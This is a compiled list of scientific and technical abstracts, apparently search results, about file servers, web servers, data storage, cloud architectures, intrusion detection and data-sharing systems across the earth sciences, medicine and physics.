Envision is an interactive environment that provides researchers in the earth sciences convenient ways to manage, browse, and visualize large observed or model data sets. Its main features are support for the netCDF and HDF file formats, an easy to use X/Motif user interface, a client-server configuration, and portability to many UNIX workstations. The Envision package also provides new ways to view and change metadata in a set of data files. It permits a scientist to conveniently and efficiently manage large data sets consisting of many data files. It also provides links to popular visualization tools so that data can be quickly browsed. Envision is a public domain package, freely available to the scientific community. Envision software (binaries and source code) and documentation can be obtained from either of these servers: ftp://vista.atmos.uiuc.edu/pub/envision/ and ftp://csrp.tamu.edu/pub/envision/. Detailed descriptions of Envision capabilities and operations can be found in the User's Guide and Reference Manuals distributed with Envision software.

New Web Server - the Java Version of Tempest - Produced

NASA Technical Reports Server (NTRS)

York, David W.; Ponyik, Joseph G.

2000-01-01

A new software design and development effort has produced a Java (Sun Microsystems, Inc.) version of the award-winning Tempest software (refs. 1 and 2). In 1999, the Embedded Web Technology (EWT) team received a prestigious R&D 100 Award for Tempest, Java Version. In this article, "Tempest" will refer to the Java version of Tempest, a World Wide Web server for desktop or embedded systems. Tempest was designed at the NASA Glenn Research Center at Lewis Field to run on any platform for which a Java Virtual Machine (JVM, Sun Microsystems, Inc.) exists. The JVM acts as a translator between the native code of the platform and the byte code of Tempest, which is compiled in Java. These byte code files are Java executables with a ".class" extension. Multiple byte code files can be zipped together as a "*.jar" file for more efficient transmission over the Internet. Today's popular browsers, such as Netscape (Netscape Communications Corporation) and Internet Explorer (Microsoft Corporation) have built-in Virtual Machines to display Java applets.

High performance network and channel-based storage

NASA Technical Reports Server (NTRS)

Katz, Randy H.

1991-01-01

In the traditional mainframe-centered view of a computer system, storage devices are coupled to the system through complex hardware subsystems called input/output (I/O) channels. With the dramatic shift towards workstation-based computing, and its associated client/server model of computation, storage facilities are now found attached to file servers and distributed throughout the network. We discuss the underlying technology trends that are leading to high performance network-based storage, namely advances in networks, storage devices, and I/O controller and server architectures. We review several commercial systems and research prototypes that are leading to a new approach to high performance computing based on network-attached storage.

AIDE - Advanced Intrusion Detection Environment

DOE Office of Scientific and Technical Information (OSTI.GOV)

Smith, Cathy L.

2013-04-28

Would you like to know when someone has dropped an undesirable executable binary on our system? What about something less malicious such as a software installation by a user? What about the user who decides to install a newer version of mod_perl or PHP on your web server without letting you know beforehand? Or even something as simple as when an undocumented config file change is made by another member of the admin group? Do you even want to know about all the changes that happen on a daily basis on your server? The purpose of an intrusion detection systemmore » (IDS) is to detect unauthorized, possibly malicious activity. The purpose of a host-based IDS, or file integrity checker, is check for unauthorized changes to key system files, binaries, libraries, and directories on the system. AIDE is an Open Source file and directory integrity checker. AIDE will let you know when a file or directory has been added, deleted, modified. It is included with the Red Hat Enterprise 6. It is available for other Linux distros. This is a case study describing the process of configuring AIDE on an out of the box RHEL6 installation. Its goal is to illustrate the thinking and the process by which a useful AIDE configuration is built.« less

Owgis 2.0: Open Source Java Application that Builds Web GIS Interfaces for Desktop Andmobile Devices

NASA Astrophysics Data System (ADS)

Zavala Romero, O.; Chassignet, E.; Zavala-Hidalgo, J.; Pandav, H.; Velissariou, P.; Meyer-Baese, A.

2016-12-01

OWGIS is an open source Java and JavaScript application that builds easily configurable Web GIS sites for desktop and mobile devices. The current version of OWGIS generates mobile interfaces based on HTML5 technology and can be used to create mobile applications. The style of the generated websites can be modified using COMPASS, a well known CSS Authoring Framework. In addition, OWGIS uses several Open Geospatial Consortium standards to request datafrom the most common map servers, such as GeoServer. It is also able to request data from ncWMS servers, allowing the websites to display 4D data from NetCDF files. This application is configured by XML files that define which layers, geographic datasets, are displayed on the Web GIS sites. Among other features, OWGIS allows for animations; streamlines from vector data; virtual globe display; vertical profiles and vertical transects; different color palettes; the ability to download data; and display text in multiple languages. OWGIS users are mainly scientists in the oceanography, meteorology and climate fields.

Tools for Administration of a UNIX-Based Network

NASA Technical Reports Server (NTRS)

LeClaire, Stephen; Farrar, Edward

2004-01-01

Several computer programs have been developed to enable efficient administration of a large, heterogeneous, UNIX-based computing and communication network that includes a variety of computers connected to a variety of subnetworks. One program provides secure software tools for administrators to create, modify, lock, and delete accounts of specific users. This program also provides tools for users to change their UNIX passwords and log-in shells. These tools check for errors. Another program comprises a client and a server component that, together, provide a secure mechanism to create, modify, and query quota levels on a network file system (NFS) mounted by use of the VERITAS File SystemJ software. The client software resides on an internal secure computer with a secure Web interface; one can gain access to the client software from any authorized computer capable of running web-browser software. The server software resides on a UNIX computer configured with the VERITAS software system. Directories where VERITAS quotas are applied are NFS-mounted. Another program is a Web-based, client/server Internet Protocol (IP) address tool that facilitates maintenance lookup of information about IP addresses for a network of computers.

MovieMaker: a web server for rapid rendering of protein motions and interactions

PubMed Central

Maiti, Rajarshi; Van Domselaar, Gary H.; Wishart, David S.

2005-01-01

MovieMaker is a web server that allows short (∼10 s), downloadable movies of protein motions to be generated. It accepts PDB files or PDB accession numbers as input and automatically calculates, renders and merges the necessary image files to create colourful animations covering a wide range of protein motions and other dynamic processes. Users have the option of animating (i) simple rotation, (ii) morphing between two end-state conformers, (iii) short-scale, picosecond vibrations, (iv) ligand docking, (v) protein oligomerization, (vi) mid-scale nanosecond (ensemble) motions and (vii) protein folding/unfolding. MovieMaker does not perform molecular dynamics calculations. Instead it is an animation tool that uses a sophisticated superpositioning algorithm in conjunction with Cartesian coordinate interpolation to rapidly and automatically calculate the intermediate structures needed for many of its animations. Users have extensive control over the rendering style, structure colour, animation quality, background and other image features. MovieMaker is intended to be a general-purpose server that allows both experts and non-experts to easily generate useful, informative protein animations for educational and illustrative purposes. MovieMaker is accessible at . PMID:15980488

Optimizing the Use of Storage Systems Provided by Cloud Computing Environments

NASA Astrophysics Data System (ADS)

Gallagher, J. H.; Potter, N.; Byrne, D. A.; Ogata, J.; Relph, J.

2013-12-01

Cloud computing systems present a set of features that include familiar computing resources (albeit augmented to support dynamic scaling of processing power) bundled with a mix of conventional and unconventional storage systems. The linux base on which many Cloud environments (e.g., Amazon) are based make it tempting to assume that any Unix software will run efficiently in this environment efficiently without change. OPeNDAP and NODC collaborated on a short project to explore how the S3 and Glacier storage systems provided by the Amazon Cloud Computing infrastructure could be used with a data server developed primarily to access data stored in a traditional Unix file system. Our work used the Amazon cloud system, but we strived for designs that could be adapted easily to other systems like OpenStack. Lastly, we evaluated different architectures from a computer security perspective. We found that there are considerable issues associated with treating S3 as if it is a traditional file system, even though doing so is conceptually simple. These issues include performance penalties because using a software tool that emulates a traditional file system to store data in S3 performs poorly when compared to a storing data directly in S3. We also found there are important benefits beyond performance to ensuring that data written to S3 can directly accessed without relying on a specific software tool. To provide a hierarchical organization to the data stored in S3, we wrote 'catalog' files, using XML. These catalog files map discrete files to S3 access keys. Like a traditional file system's directories, the catalogs can also contain references to other catalogs, providing a simple but effective hierarchy overlaid on top of S3's flat storage space. An added benefit to these catalogs is that they can be viewed in a web browser; our storage scheme provides both efficient access for the data server and access via a web browser. We also looked at the Glacier storage system and found that the system's response characteristics are very different from a traditional file system or database; it behaves like a near-line storage system. To be used by a traditional data server, the underlying access protocol must support asynchronous accesses. This is because the Glacier system takes a minimum of four hours to deliver any data object, so systems built with the expectation of instant access (i.e., most web systems) must be fundamentally changed to use Glacier. Part of a related project has been to develop an asynchronous access mode for OPeNDAP, and we have developed a design using that new addition to the DAP protocol with Glacier as a near-line mass store. In summary, we found that both S3 and Glacier require special treatment to be effectively used by a data server. It is important to add (new) interfaces to data servers that enable them to use these storage devices through their native interfaces. We also found that our designs could easily map to a cloud environment based on OpenStack. Lastly, we noted that while these designs invited more liberal use of remote references for data objects, that can expose software to new security risks.

An Approach Using Parallel Architecture to Storage DICOM Images in Distributed File System

NASA Astrophysics Data System (ADS)

Soares, Tiago S.; Prado, Thiago C.; Dantas, M. A. R.; de Macedo, Douglas D. J.; Bauer, Michael A.

2012-02-01

Telemedicine is a very important area in medical field that is expanding daily motivated by many researchers interested in improving medical applications. In Brazil was started in 2005, in the State of Santa Catarina has a developed server called the CyclopsDCMServer, which the purpose to embrace the HDF for the manipulation of medical images (DICOM) using a distributed file system. Since then, many researches were initiated in order to seek better performance. Our approach for this server represents an additional parallel implementation in I/O operations since HDF version 5 has an essential feature for our work which supports parallel I/O, based upon the MPI paradigm. Early experiments using four parallel nodes, provide good performance when compare to the serial HDF implemented in the CyclopsDCMServer.

Method and system for a network mapping service

DOEpatents

Bynum, Leo

2017-10-17

A method and system of publishing a map includes providing access to a plurality of map data files or mapping services between at least one publisher and at least one subscriber; defining a map in a map context comprising parameters and descriptors to substantially duplicate a map by reference to mutually accessible data or mapping services, publishing a map to a channel in a table file on server; accessing the channel by at least one subscriber, transmitting the mapping context from the server to the at least one subscriber, executing the map context by the at least one subscriber, and generating the map on a display software associated with the at least one subscriber by reconstituting the map from the references and other data in the mapping context.

The Design and Application of Data Storage System in Miyun Satellite Ground Station

NASA Astrophysics Data System (ADS)

Xue, Xiping; Su, Yan; Zhang, Hongbo; Liu, Bin; Yao, Meijuan; Zhao, Shu

2015-04-01

China has launched Chang'E-3 satellite in 2013, firstly achieved soft landing on moon for China's lunar probe. Miyun satellite ground station firstly used SAN storage network system based-on Stornext sharing software in Chang'E-3 mission. System performance fully meets the application requirements of Miyun ground station data storage.The Stornext file system is a sharing file system with high performance, supports multiple servers to access the file system using different operating system at the same time, and supports access to data on a variety of topologies, such as SAN and LAN. Stornext focused on data protection and big data management. It is announced that Quantum province has sold more than 70,000 licenses of Stornext file system worldwide, and its customer base is growing, which marks its leading position in the big data management.The responsibilities of Miyun satellite ground station are the reception of Chang'E-3 satellite downlink data and management of local data storage. The station mainly completes exploration mission management, receiving and management of observation data, and provides a comprehensive, centralized monitoring and control functions on data receiving equipment. The ground station applied SAN storage network system based on Stornext shared software for receiving and managing data reliable.The computer system in Miyun ground station is composed by business running servers, application workstations and other storage equipments. So storage systems need a shared file system which supports heterogeneous multi-operating system. In practical applications, 10 nodes simultaneously write data to the file system through 16 channels, and the maximum data transfer rate of each channel is up to 15MB/s. Thus the network throughput of file system is not less than 240MB/s. At the same time, the maximum capacity of each data file is up to 810GB. The storage system planned requires that 10 nodes simultaneously write data to the file system through 16 channels with 240MB/s network throughput.When it is integrated,sharing system can provide 1020MB/s write speed simultaneously.When the master storage server fails, the backup storage server takes over the normal service.The literacy of client will not be affected,in which switching time is less than 5s.The design and integrated storage system meet users requirements. Anyway, all-fiber way is too expensive in SAN; SCSI hard disk transfer rate may still be the bottleneck in the development of the entire storage system. Stornext can provide users with efficient sharing, management, automatic archiving of large numbers of files and hardware solutions. It occupies a leading position in big data management. Storage is the most popular sharing shareware, and there are drawbacks in Stornext: Firstly, Stornext software is expensive, in which charge by the sites. When the network scale is large, the purchase cost will be very high. Secondly, the parameters of Stornext software are more demands on the skills of technical staff. If there is a problem, it is difficult to exclude.

Data sharing system for lithography APC

NASA Astrophysics Data System (ADS)

Kawamura, Eiichi; Teranishi, Yoshiharu; Shimabara, Masanori

2007-03-01

We have developed a simple and cost-effective data sharing system between fabs for lithography advanced process control (APC). Lithography APC requires process flow, inter-layer information, history information, mask information and so on. So, inter-APC data sharing system has become necessary when lots are to be processed in multiple fabs (usually two fabs). The development cost and maintenance cost also have to be taken into account. The system handles minimum information necessary to make trend prediction for the lots. Three types of data have to be shared for precise trend prediction. First one is device information of the lots, e.g., process flow of the device and inter-layer information. Second one is mask information from mask suppliers, e.g., pattern characteristics and pattern widths. Last one is history data of the lots. Device information is electronic file and easy to handle. The electronic file is common between APCs and uploaded into the database. As for mask information sharing, mask information described in common format is obtained via Wide Area Network (WAN) from mask-vender will be stored in the mask-information data server. This information is periodically transferred to one specific lithography-APC server and compiled into the database. This lithography-APC server periodically delivers the mask-information to every other lithography-APC server. Process-history data sharing system mainly consists of function of delivering process-history data. In shipping production lots to another fab, the product-related process-history data is delivered by the lithography-APC server from the shipping site. We have confirmed the function and effectiveness of data sharing systems.

A price and performance comparison of three different storage architectures for data in cloud-based systems

NASA Astrophysics Data System (ADS)

Gallagher, J. H. R.; Jelenak, A.; Potter, N.; Fulker, D. W.; Habermann, T.

2017-12-01

Providing data services based on cloud computing technology that is equivalent to those developed for traditional computing and storage systems is critical for successful migration to cloud-based architectures for data production, scientific analysis and storage. OPeNDAP Web-service capabilities (comprising the Data Access Protocol (DAP) specification plus open-source software for realizing DAP in servers and clients) are among the most widely deployed means for achieving data-as-service functionality in the Earth sciences. OPeNDAP services are especially common in traditional data center environments where servers offer access to datasets stored in (very large) file systems, and a preponderance of the source data for these services is being stored in the Hierarchical Data Format Version 5 (HDF5). Three candidate architectures for serving NASA satellite Earth Science HDF5 data via Hyrax running on Amazon Web Services (AWS) were developed and their performance examined for a set of representative use cases. The performance was based both on runtime and incurred cost. The three architectures differ in how HDF5 files are stored in the Amazon Simple Storage Service (S3) and how the Hyrax server (as an EC2 instance) retrieves their data. The results for both the serial and parallel access to HDF5 data in the S3 will be presented. While the study focused on HDF5 data, OPeNDAP and the Hyrax data server, the architectures are generic and the analysis can be extrapolated to many different data formats, web APIs, and data servers.

Efficient transmission of compressed data for remote volume visualization.

PubMed

Krishnan, Karthik; Marcellin, Michael W; Bilgin, Ali; Nadar, Mariappan S

2006-09-01

One of the goals of telemedicine is to enable remote visualization and browsing of medical volumes. There is a need to employ scalable compression schemes and efficient client-server models to obtain interactivity and an enhanced viewing experience. First, we present a scheme that uses JPEG2000 and JPIP (JPEG2000 Interactive Protocol) to transmit data in a multi-resolution and progressive fashion. The server exploits the spatial locality offered by the wavelet transform and packet indexing information to transmit, in so far as possible, compressed volume data relevant to the clients query. Once the client identifies its volume of interest (VOI), the volume is refined progressively within the VOI from an initial lossy to a final lossless representation. Contextual background information can also be made available having quality fading away from the VOI. Second, we present a prioritization that enables the client to progressively visualize scene content from a compressed file. In our specific example, the client is able to make requests to progressively receive data corresponding to any tissue type. The server is now capable of reordering the same compressed data file on the fly to serve data packets prioritized as per the client's request. Lastly, we describe the effect of compression parameters on compression ratio, decoding times and interactivity. We also present suggestions for optimizing JPEG2000 for remote volume visualization and volume browsing applications. The resulting system is ideally suited for client-server applications with the server maintaining the compressed volume data, to be browsed by a client with a low bandwidth constraint.

Co-PylotDB - A Python-Based Single-Window User Interface for Transmitting Information to a Database

DOE Office of Scientific and Technical Information (OSTI.GOV)

Barnette, Daniel W.

2012-01-05

Co-PylotDB, written completely in Python, provides a user interface (UI) with which to select user and data file(s), directories, and file content, and provide or capture various other information for sending data collected from running any computer program to a pre-formatted database table for persistent storage. The interface allows the user to select input, output, make, source, executable, and qsub files. It also provides fields for specifying the machine name on which the software was run, capturing compile and execution lines, and listing relevant user comments. Data automatically captured by Co-PylotDB and sent to the database are user, current directory,more » local hostname, current date, and time of send. The UI provides fields for logging into a local or remote database server, specifying a database and a table, and sending the information to the selected database table. If a server is not available, the UI provides for saving the command that would have saved the information to a database table for either later submission or for sending via email to a collaborator who has access to the desired database.« less

Research Using In Vivo Simulation of Meta-Organizational Shared Decision Making (SDM). Task 3: Testing the Shared Decision Making Framework in Vivo

DTIC Science & Technology

2011-12-01

developed to address the two main research questions (see Annex A). Exact wording of the questions varied during interviews to accommodate the...centre at DMS 3rd floor. All electronic files (including digital audio and video recordings) with participant data are being encrypted and password...locked filing cabinet at the University of Ottawa. Electronic files will remain encrypted, password protected and stored on a server to which only the

DelPhiPKa web server: predicting pKa of proteins, RNAs and DNAs.

PubMed

Wang, Lin; Zhang, Min; Alexov, Emil

2016-02-15

A new pKa prediction web server is released, which implements DelPhi Gaussian dielectric function to calculate electrostatic potentials generated by charges of biomolecules. Topology parameters are extended to include atomic information of nucleotides of RNA and DNA, which extends the capability of pKa calculations beyond proteins. The web server allows the end-user to protonate the biomolecule at particular pH based on calculated pKa values and provides the downloadable file in PQR format. Several tests are performed to benchmark the accuracy and speed of the protocol. The web server follows a client-server architecture built on PHP and HTML and utilizes DelPhiPKa program. The computation is performed on the Palmetto supercomputer cluster and results/download links are given back to the end-user via http protocol. The web server takes advantage of MPI parallel implementation in DelPhiPKa and can run a single job on up to 24 CPUs. The DelPhiPKa web server is available at http://compbio.clemson.edu/pka_webserver. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Adapt

NASA Astrophysics Data System (ADS)

Bargatze, L. F.

2015-12-01

Active Data Archive Product Tracking (ADAPT) is a collection of software routines that permits one to generate XML metadata files to describe and register data products in support of the NASA Heliophysics Virtual Observatory VxO effort. ADAPT is also a philosophy. The ADAPT concept is to use any and all available metadata associated with scientific data to produce XML metadata descriptions in a consistent, uniform, and organized fashion to provide blanket access to the full complement of data stored on a targeted data server. In this poster, we present an application of ADAPT to describe all of the data products that are stored by using the Common Data File (CDF) format served out by the CDAWEB and SPDF data servers hosted at the NASA Goddard Space Flight Center. These data servers are the primary repositories for NASA Heliophysics data. For this purpose, the ADAPT routines have been used to generate data resource descriptions by using an XML schema named Space Physics Archive, Search, and Extract (SPASE). SPASE is the designated standard for documenting Heliophysics data products, as adopted by the Heliophysics Data and Model Consortium. The set of SPASE XML resource descriptions produced by ADAPT includes high-level descriptions of numerical data products, display data products, or catalogs and also includes low-level "Granule" descriptions. A SPASE Granule is effectively a universal access metadata resource; a Granule associates an individual data file (e.g. a CDF file) with a "parent" high-level data resource description, assigns a resource identifier to the file, and lists the corresponding assess URL(s). The CDAWEB and SPDF file systems were queried to provide the input required by the ADAPT software to create an initial set of SPASE metadata resource descriptions. Then, the CDAWEB and SPDF data repositories were queried subsequently on a nightly basis and the CDF file lists were checked for any changes such as the occurrence of new, modified, or deleted files, or the addition of new or the deletion of old data products. Next, ADAPT routines analyzed the query results and issued updates to the metadata stored in the UCLA CDAWEB and SPDF metadata registries. In this way, the SPASE metadata registries generated by ADAPT can be relied on to provide up to date and complete access to Heliophysics CDF data resources on a daily basis.

Navigation/Prop Software Suite

NASA Technical Reports Server (NTRS)

Bruchmiller, Tomas; Tran, Sanh; Lee, Mathew; Bucker, Scott; Bupane, Catherine; Bennett, Charles; Cantu, Sergio; Kwong, Ping; Propst, Carolyn

2012-01-01

Navigation (Nav)/Prop software is used to support shuttle mission analysis, production, and some operations tasks. The Nav/Prop suite containing configuration items (CIs) resides on IPS/Linux workstations. It features lifecycle documents, and data files used for shuttle navigation and propellant analysis for all flight segments. This suite also includes trajectory server, archive server, and RAT software residing on MCC/Linux workstations. Navigation/Prop represents tool versions established during or after IPS Equipment Rehost-3 or after the MCC Rehost.

Integrated Autonomous Network Management (IANM) Multi-Topology Route Manager and Analyzer

DTIC Science & Technology

2008-02-01

zebra tmg mtrcli xinetd (tftp) mysql configuration file (mtrrm.conf) configuration file (mtrrmAggregator.properties) tftp files /tftpboot NetFlow PDUs...configuration upload/download snmp, telnet OSPFv2 user interface tmg Figure 6-2. Internal software organization Figure 6-2 illustrates the main

WADeG Cell Phone

DOE Office of Scientific and Technical Information (OSTI.GOV)

2009-09-01

The on cell phone software captures the images from the CMOS camera periodically, stores the pictures, and periodically transmits those images over the cellular network to the server. The cell phone software consists of several modules: CamTest.cpp, CamStarter.cpp, StreamIOHandler .cpp, and covertSmartDevice.cpp. The camera application on the SmartPhone is CamStarter, which is "the" user interface for the camera system. The CamStarter user interface allows a user to start/stop the camera application and transfer files to the server. The CamStarter application interfaces to the CamTest application through registry settings. Both the CamStarter and CamTest applications must be separately deployed on themore » smartphone to run the camera system application. When a user selects the Start button in CamStarter, CamTest is created as a process. The smartphone begins taking small pictures (CAPTURE mode), analyzing those pictures for certain conditions, and saving those pictures on the smartphone. This process will terminate when the user selects the Stop button. The camtest code spins off an asynchronous thread, StreamIOHandler, to check for pictures taken by the camera. The received image is then tested by StreamIOHandler to see if it meets certain conditions. If those conditions are met, the CamTest program is notified through the setting of a registry key value and the image is saved in a designated directory in a custom BMP file which includes a header and the image data. When the user selects the Transfer button in the CamStarter user interface, the covertsmartdevice code is created as a process. Covertsmartdevice gets all of the files in a designated directory, opens a socket connection to the server, sends each file, and then terminates.« less

Datacasting V3.0

NASA Technical Reports Server (NTRS)

Bingham, Andrew W.; McCleese, Sean W.; Deen, Robert G.; Chung, Nga T.; Stough, Timothy M.

2013-01-01

Datacasting V3.0 provides an RSSbased feed mechanism for publishing the availability of Earth science data records in real time. It also provides a utility for subscribing to these feeds and sifting through all the items in an automatic manner to identify and download the data records that are required for a specific application. Datacasting is a method by which multiple data providers can publish the availability of new Earth science data and users download those files that meet a predefined need; for example, to only download data files related to a specific earthquake or region on the globe. Datacasting is a server-client architecture. The server-side software is used by data providers to create and publish the metadata about recently available data according to the Datacasting RSS (Really Simple Syndication) specification. The client software subscribes to the Datacasting RSS and other RSS-based feeds. By configuring filters associated with feeds, data consumers can use the client to identify and automatically download files that meet a specific need. On the client side, a Datacasting feed reader monitors the server for new feeds. The feed reader will be tuned by the user, via a graphical user interface (GUI), to examine the content of the feeds and initiate a data pull after some criteria are satisfied. The criteria might be, for example, to download sea surface temperature data for a particular region that has cloud cover less than 50% and during daylight hours. After the granule is downloaded to the client, the user will have the ability to visualize the data in the GUI. Based on the popular concept of podcasting, which gives listeners the capability to download only those MP3 files that match their preference, Earth science Datacasting will give users a method to download only the Earth science data files that are required for a particular application.

Web Proxy Auto Discovery for the WLCG

NASA Astrophysics Data System (ADS)

Dykstra, D.; Blomer, J.; Blumenfeld, B.; De Salvo, A.; Dewhurst, A.; Verguilov, V.

2017-10-01

All four of the LHC experiments depend on web proxies (that is, squids) at each grid site to support software distribution by the CernVM FileSystem (CVMFS). CMS and ATLAS also use web proxies for conditions data distributed through the Frontier Distributed Database caching system. ATLAS & CMS each have their own methods for their grid jobs to find out which web proxies to use for Frontier at each site, and CVMFS has a third method. Those diverse methods limit usability and flexibility, particularly for opportunistic use cases, where an experiment’s jobs are run at sites that do not primarily support that experiment. This paper describes a new Worldwide LHC Computing Grid (WLCG) system for discovering the addresses of web proxies. The system is based on an internet standard called Web Proxy Auto Discovery (WPAD). WPAD is in turn based on another standard called Proxy Auto Configuration (PAC). Both the Frontier and CVMFS clients support this standard. The input into the WLCG system comes from squids registered in the ATLAS Grid Information System (AGIS) and CMS SITECONF files, cross-checked with squids registered by sites in the Grid Configuration Database (GOCDB) and the OSG Information Management (OIM) system, and combined with some exceptions manually configured by people from ATLAS and CMS who operate WLCG Squid monitoring. WPAD servers at CERN respond to http requests from grid nodes all over the world with a PAC file that lists available web proxies, based on IP addresses matched from a database that contains the IP address ranges registered to organizations. Large grid sites are encouraged to supply their own WPAD web servers for more flexibility, to avoid being affected by short term long distance network outages, and to offload the WLCG WPAD servers at CERN. The CERN WPAD servers additionally support requests from jobs running at non-grid sites (particularly for LHC@Home) which they direct to the nearest publicly accessible web proxy servers. The responses to those requests are geographically ordered based on a separate database that maps IP addresses to longitude and latitude.

Web Proxy Auto Discovery for the WLCG

DOE PAGES

Dykstra, D.; Blomer, J.; Blumenfeld, B.; ...

2017-11-23

All four of the LHC experiments depend on web proxies (that is, squids) at each grid site to support software distribution by the CernVM FileSystem (CVMFS). CMS and ATLAS also use web proxies for conditions data distributed through the Frontier Distributed Database caching system. ATLAS & CMS each have their own methods for their grid jobs to find out which web proxies to use for Frontier at each site, and CVMFS has a third method. Those diverse methods limit usability and flexibility, particularly for opportunistic use cases, where an experiment’s jobs are run at sites that do not primarily supportmore » that experiment. This paper describes a new Worldwide LHC Computing Grid (WLCG) system for discovering the addresses of web proxies. The system is based on an internet standard called Web Proxy Auto Discovery (WPAD). WPAD is in turn based on another standard called Proxy Auto Configuration (PAC). Both the Frontier and CVMFS clients support this standard. The input into the WLCG system comes from squids registered in the ATLAS Grid Information System (AGIS) and CMS SITECONF files, cross-checked with squids registered by sites in the Grid Configuration Database (GOCDB) and the OSG Information Management (OIM) system, and combined with some exceptions manually configured by people from ATLAS and CMS who operate WLCG Squid monitoring. WPAD servers at CERN respond to http requests from grid nodes all over the world with a PAC file that lists available web proxies, based on IP addresses matched from a database that contains the IP address ranges registered to organizations. Large grid sites are encouraged to supply their own WPAD web servers for more flexibility, to avoid being affected by short term long distance network outages, and to offload the WLCG WPAD servers at CERN. The CERN WPAD servers additionally support requests from jobs running at non-grid sites (particularly for LHC@Home) which it directs to the nearest publicly accessible web proxy servers. Furthermore, the responses to those requests are geographically ordered based on a separate database that maps IP addresses to longitude and latitude.« less

Web Proxy Auto Discovery for the WLCG

DOE Office of Scientific and Technical Information (OSTI.GOV)

Dykstra, D.; Blomer, J.; Blumenfeld, B.

All four of the LHC experiments depend on web proxies (that is, squids) at each grid site to support software distribution by the CernVM FileSystem (CVMFS). CMS and ATLAS also use web proxies for conditions data distributed through the Frontier Distributed Database caching system. ATLAS & CMS each have their own methods for their grid jobs to find out which web proxies to use for Frontier at each site, and CVMFS has a third method. Those diverse methods limit usability and flexibility, particularly for opportunistic use cases, where an experiment’s jobs are run at sites that do not primarily supportmore » that experiment. This paper describes a new Worldwide LHC Computing Grid (WLCG) system for discovering the addresses of web proxies. The system is based on an internet standard called Web Proxy Auto Discovery (WPAD). WPAD is in turn based on another standard called Proxy Auto Configuration (PAC). Both the Frontier and CVMFS clients support this standard. The input into the WLCG system comes from squids registered in the ATLAS Grid Information System (AGIS) and CMS SITECONF files, cross-checked with squids registered by sites in the Grid Configuration Database (GOCDB) and the OSG Information Management (OIM) system, and combined with some exceptions manually configured by people from ATLAS and CMS who operate WLCG Squid monitoring. WPAD servers at CERN respond to http requests from grid nodes all over the world with a PAC file that lists available web proxies, based on IP addresses matched from a database that contains the IP address ranges registered to organizations. Large grid sites are encouraged to supply their own WPAD web servers for more flexibility, to avoid being affected by short term long distance network outages, and to offload the WLCG WPAD servers at CERN. The CERN WPAD servers additionally support requests from jobs running at non-grid sites (particularly for LHC@Home) which it directs to the nearest publicly accessible web proxy servers. Furthermore, the responses to those requests are geographically ordered based on a separate database that maps IP addresses to longitude and latitude.« less

Building Identification Wizard: Version 1.5.1

DTIC Science & Technology

2018-04-01

35 6.1 Exporting to a web or PDF File...applications. Users also have access to other WCP reports from regions of interest that are formatted as HTML and are viewable in any web browser. The WCP...feature, shown in Figure 23, checks for updates on the WCP web server by comparing a byte count of the contents of the files that are installed on

High-Performance Tiled WMS and KML Web Server

NASA Technical Reports Server (NTRS)

Plesea, Lucian

2007-01-01

This software is an Apache 2.0 module implementing a high-performance map server to support interactive map viewers and virtual planet client software. It can be used in applications that require access to very-high-resolution geolocated images, such as GIS, virtual planet applications, and flight simulators. It serves Web Map Service (WMS) requests that comply with a given request grid from an existing tile dataset. It also generates the KML super-overlay configuration files required to access the WMS image tiles.

Trade Study: Storing NASA HDF5/netCDF-4 Data in the Amazon Cloud and Retrieving Data via Hyrax Server / THREDDS Data Server

NASA Technical Reports Server (NTRS)

Habermann, Ted; Jelenak, Aleksander; Lee, Joe; Yang, Kent; Gallagher, James; Potter, Nathan

2017-01-01

As part of the overall effort to understand implications of migrating ESDIS data and services to the cloud we are testing several common OPeNDAP and HDF use cases against three architectures for general performance and cost characteristics. The architectures include retrieving entire files, retrieving datasets using HTTP range gets, and retrieving elements of datasets (chunks) with HTTP range gets. We will describe these architectures and discuss our approach to estimating cost.

AsteriX: a Web server to automatically extract ligand coordinates from figures in PDF articles.

PubMed

Lounnas, V; Vriend, G

2012-02-27

Coordinates describing the chemical structures of small molecules that are potential ligands for pharmaceutical targets are used at many stages of the drug design process. The coordinates of the vast majority of ligands can be obtained from either publicly accessible or commercial databases. However, interesting ligands sometimes are only available from the scientific literature, in which case their coordinates need to be reconstructed manually--a process that consists of a series of time-consuming steps. We present a Web server that helps reconstruct the three-dimensional (3D) coordinates of ligands for which a two-dimensional (2D) picture is available in a PDF file. The software, called AsteriX, analyses every picture contained in the PDF file and attempts to determine automatically whether or not it contains ligands. Areas in pictures that may contain molecular structures are processed to extract connectivity and atom type information that allow coordinates to be subsequently reconstructed. The AsteriX Web server was tested on a series of articles containing a large diversity in graphical representations. In total, 88% of 3249 ligand structures present in the test set were identified as chemical diagrams. Of these, about half were interpreted correctly as 3D structures, and a further one-third required only minor manual corrections. It is principally impossible to always correctly reconstruct 3D coordinates from pictures because there are many different protocols for drawing a 2D image of a ligand, but more importantly a wide variety of semantic annotations are possible. The AsteriX Web server therefore includes facilities that allow the users to augment partial or partially correct 3D reconstructions. All 3D reconstructions are submitted, checked, and corrected by the users domain at the server and are freely available for everybody. The coordinates of the reconstructed ligands are made available in a series of formats commonly used in drug design research. The AsteriX Web server is freely available at http://swift.cmbi.ru.nl/bitmapb/.

Three-Dimensional Audio Client Library

NASA Technical Reports Server (NTRS)

Rizzi, Stephen A.

2005-01-01

The Three-Dimensional Audio Client Library (3DAudio library) is a group of software routines written to facilitate development of both stand-alone (audio only) and immersive virtual-reality application programs that utilize three-dimensional audio displays. The library is intended to enable the development of three-dimensional audio client application programs by use of a code base common to multiple audio server computers. The 3DAudio library calls vendor-specific audio client libraries and currently supports the AuSIM Gold-Server and Lake Huron audio servers. 3DAudio library routines contain common functions for (1) initiation and termination of a client/audio server session, (2) configuration-file input, (3) positioning functions, (4) coordinate transformations, (5) audio transport functions, (6) rendering functions, (7) debugging functions, and (8) event-list-sequencing functions. The 3DAudio software is written in the C++ programming language and currently operates under the Linux, IRIX, and Windows operating systems.

Introduction to the Space Weather Monitoring System at KASI

NASA Astrophysics Data System (ADS)

Baek, J.; Choi, S.; Kim, Y.; Cho, K.; Bong, S.; Lee, J.; Kwak, Y.; Hwang, J.; Park, Y.; Hwang, E.

2014-05-01

